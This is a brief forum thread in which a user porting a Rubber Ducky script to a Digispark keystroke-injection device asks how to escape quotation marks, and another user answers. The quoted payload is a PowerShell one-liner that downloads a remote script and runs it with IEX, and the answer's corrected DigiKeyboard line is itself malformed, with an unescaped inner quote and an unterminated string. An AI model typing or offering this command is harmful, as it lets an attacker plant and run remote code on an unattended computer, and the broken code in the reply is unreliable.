How to add " sign to DigiKeyboard.println

[Kivstahem]

I need somehelp, because I need to add the " sign in the middle of my code on my digispark.
I'm converting this rubber ducky script to a digispark script
STRING powershell "IEX (New-Object Net.WebClient).DownloadString('https://mywebserver/payload.ps1');"

[Yachara]

Use the escape character \

DigiKeyboard.println("powershell "IEX (New-Object Net.WebClient).DownloadString('https://mywebserver/payload.ps1');\"